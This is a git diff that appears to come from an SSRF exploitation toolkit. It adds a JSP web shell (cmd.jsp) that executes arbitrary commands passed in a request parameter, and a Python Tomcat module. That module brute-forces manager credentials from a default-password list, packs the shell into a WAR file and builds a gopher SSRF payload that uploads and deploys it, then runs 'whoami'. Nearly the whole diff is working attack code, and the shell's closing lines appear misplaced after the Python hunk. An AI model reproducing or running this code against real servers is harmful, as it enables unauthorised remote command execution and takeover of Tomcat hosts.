diff --git a/data/cmd.jsp b/data/cmd.jsp new file mode 100644 index 0000000..a7d2bb7 --- /dev/null +++ b/data/cmd.jsp @@ -0,0 +1,23 @@ +<%@ page import="java.util.*,java.io.*"%> +
+ ++<% +if (request.getParameter("cmd") != null) { + out.println("Command: " + request.getParameter("cmd") + "+ \ No newline at end of file diff --git a/modules/tomcat.py b/modules/tomcat.py index 9eb11e7..bb9fa07 100644 --- a/modules/tomcat.py +++ b/modules/tomcat.py @@ -1,23 +1,43 @@ from core.utils import * +import argparse +import base64 +import binascii +import getopt import logging +import re +import sys +import urllib +import zipfile + + +# NOTE +# This exploit is a Python 3 version of Pimps script +# with a simple bruteforcer and auto exploiter +# https://github.com/pimps/gopher-tomcat-deployer name = "tomcat" -description = "Tomcat - Bruteforce manager" +description = "Tomcat - Bruteforce manager and WAR uploader" author = "Swissky" documentation = [ "https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html", - "https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown" + "https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown", + "https://github.com/pimps/gopher-tomcat-deployer" ] class exploit(): SERVER_HOST = "127.0.0.1" SERVER_PORT = "8888" SERVER_TOMCAT = "manager/html" + SERVER_USER = "tomcat" + SERVER_PASS = "tomcat" + EXPLOIT_JSP = "data/cmd.jsp" + EXPLOIT_WAR = "/tmp/cmd.war" tomcat_user = ["tomcat", "admin", "both", "manager", "role1", "role", "root"] tomcat_pass = ["password", "tomcat", "admin", "manager", "role1", "changethis", "changeme", "r00t", "root", "s3cret","Password1", "password1"] def __init__(self, requester, args): logging.info("Module '{}' launched !".format(name)) + self.args = args # Using a generator to create the host list gen_host = gen_ip_list(self.SERVER_HOST, args.level) @@ -28,4 +48,119 @@ class exploit(): r = requester.do_request(args.param, payload) if r != None and not "s3cret" in r.text: - logging.info("Found credential \033[32m{}\033[0m:\033[32m{}\033[0m".format(usr, pss)) \ No newline at end of file + logging.info("Found credential \033[32m{}\033[0m:\033[32m{}\033[0m".format(usr, pss)) + self.SERVER_USER = usr + self.SERVER_PASS = pss + + # bruteforce padding for a good zip file + # worst solution until I find an alternate + # way to convert the is_ascii from the original + # Python 2 payload + for i in range(5): + payload = self.send_war(i) + r = requester.do_request(args.param, payload) + + if args.verbose == True: + logging.info("Generated payload : {}".format(payload)) + + logging.info("Sending CMD to cmd.jsp for padding: {}".format(i)) + payload = wrapper_http("cmd/cmd.jsp?cmd=whoami", self.SERVER_HOST, self.SERVER_PORT) + r = requester.do_request(args.param, payload) + if r.text != None and r.text != "": + logging.info(r.text) + break + + + def send_war(self, padding): + with open(self.EXPLOIT_JSP, 'r') as f: + webshell_data = f.read() + webshell_data = self.validate_webshell_length_and_crc32(webshell_data + ' '*padding) + + if self.args.verbose == True: + logging.info("[+] Creating new zip file: " + self.EXPLOIT_WAR) + self.create_war_zip_file(self.EXPLOIT_WAR, self.EXPLOIT_JSP, webshell_data) + + if self.args.verbose == True: + logging.info("[+] Valid WAR file generated... Creating the gopher payload now...") + gopher_payload = self.build_gopher_payload() + + return wrapper_gopher(gopher_payload, self.SERVER_HOST, self.SERVER_PORT) + + def create_war_zip_file(self, war_filename,inputfile,webshell_data): + warzip = zipfile.ZipFile(war_filename,'w') + # Write a known good date/war_filename stamp + # this date/time does not contain and invalid byte values + info = zipfile.ZipInfo(inputfile,date_time=(1980, 1, 1, 0, 0, 0)) + # Write out the webshell the zip file. + warzip.writestr(info,webshell_data) + warzip.close() + + def validate_webshell_length_and_crc32(self, webshell_data): + valid_length=0 + valid_crc32=0 + modded_length=0 + + if self.args.verbose == True: + logging.info("Original file length: {}".format('{0:0{1}X}'.format(len(webshell_data),8))) + logging.info("Original file crc32: {}".format(format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x'))) + + while valid_length == 0 or valid_crc32 == 0: + crc_string = format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x') + ws_len_byte_string = '{0:0{1}X}'.format(len(webshell_data),8) + valid_length=1 + valid_crc32=1 + lead_byte_locations = [0,2,4,6] + for x in lead_byte_locations: + try: + if(ws_len_byte_string[x] == '8' or ws_len_byte_string[x] == '9' or crc_string[x] == '8' or crc_string[x] == '9'): + webshell_data = webshell_data+" " + valid_length = 0 + valid_crc32 = 0 + modded_length = modded_length+1 + except: + continue + + if modded_length > 0: + logging.info("The input file CRC32 or file length contained an invalid byte.") + logging.info("Length adjustment completed. " + str(modded_length) + " whitespace ' ' chars were added to the webshell input.") + logging.info("New file length: " +'{0:0{1}X}'.format(len(webshell_data),8)) + logging.info("New file crc32: " + format(binascii.crc32(webshell_data.encode())& 0xffffffff, 'x')) + return webshell_data + + def url_encode_all(self, string): + return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string) + + def build_gopher_payload(self): + warfile = "" + with open(self.EXPLOIT_WAR, 'rb') as f: + warfile = f.read() + + headers = 'POST /manager/html/upload HTTP/1.1\r\n' + headers += 'Host: {host}:{port}\r\n' + headers += 'Content-Type: multipart/form-data; boundary=---------------------------1510321429715549663334762841\r\n' + headers += 'Content-Length: {contentlength}\r\n' + headers += 'Authorization: Basic {credential}\r\n' + headers += 'Connection: close\r\n' + headers += 'Upgrade-Insecure-Requests: 1\r\n' + headers += '\r\n' + headers += '{content_body}' + + content = '-----------------------------1510321429715549663334762841\r\n' + content += 'Content-Disposition: form-data; name="deployWar"; filename="{filename}"\r\n' + content += 'Content-Type: application/octet-stream\r\n' + content += '\r\n' + content += '{warfile}\r\n' + content += '-----------------------------1510321429715549663334762841--\r\n' + + content_body = content.format( + filename=self.EXPLOIT_WAR, + warfile=warfile + ) + payload = headers.format( + host=self.SERVER_HOST, + port=self.SERVER_PORT, + credential=base64.b64encode((self.SERVER_USER + ":" + self.SERVER_PASS).encode()), + contentlength=len(content_body), + content_body=content_body + ) + return self.url_encode_all(payload) \ No newline at end of file
"); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } +%> +